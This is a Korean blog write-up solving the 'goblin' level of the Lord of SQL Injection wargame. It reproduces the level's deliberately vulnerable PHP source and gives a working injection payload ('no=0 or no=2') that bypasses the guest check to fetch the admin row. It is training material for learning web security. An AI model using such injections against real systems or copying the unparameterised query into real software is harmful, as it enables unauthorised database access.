Lord of SQLInjection
los.rubiya.kr
아니 코볼트랑 사진이 똑같잖아..?
los의 고블린을 처치해보자.
기본 쿼리문 및 소스코드는 아래와 같다.
소스코드를 살펴보자.
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[no])) exit("No Hack ~_~");
if(preg_match('/\'|\"|\`/i', $_GET[no])) exit("No Quotes ~_~");
$query = "select id from prob_goblin where id='guest' and no={$_GET[no]}";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id']) echo "<h2>Hello {$result[id]}</h2>";
if($result['id'] == 'admin') solve("goblin");
highlight_file(__FILE__);
?>
이제 id는 admin으로 고정해버렸고 no 만 변경할 수 있다. no는 아마 인덱스(프라이머리 키) 값이라고 생각한다.
이번에는 pregmatch에 해킹 방지를 위한 필터링 이외에, '(따옴표), "(쌍따옴표), `(백쿼터)에 대한 필터링도 추가되었다. id 값에 직접적으로 admin을 추가하여 조회할 수 있는 방법이 없어졌다...!!
no에 1을 추가하면 guest로 로그인 된다.
여기까지는 했는데 더이상 진도를 못 나가겠어서 다른 사람의 write-up을 참고했다.
no 번호로 admin에 접근할 수 있다고 한다. 1이 guest이니, 생뚱맞게 이상한 키값을 가지는게 아닌이상 admin은 0 또는 2일 가능성이 크다.
따라서 고블린은 아래와 같이 처치 가능하다.
no: no=0 or no 2
url: ?no=0%20or%20no=2
query : select id from prob_goblin where id='guest' and no=0 or no=2
위의 커리문은 (id= guest and no=0) or no=2로 처리된다. no=0 부분을 통해 id=guest 부분을 거짓으로 만들어 조회되지 않도록 하고, admin의 값인 no=2를 넣어 admin을 조회할 수 있게 된다.
참고 자료
https://www.dongyeon1201.kr/69f9c19c-247b-4be0-aa2d-7ceff0d47661
'해킹 > LoS(Lord of SQL Injection)' 카테고리의 다른 글
[Los] darkelf 풀이 (0) | 2022.06.11 |
---|---|
[Los] wolfman 풀이 (0) | 2022.06.11 |
[Los] orc 풀이 (작성 중) (0) | 2022.06.10 |
[Los] cobolt 풀이 (0) | 2022.06.08 |
[Los] gremlin 풀이 (0) | 2022.06.08 |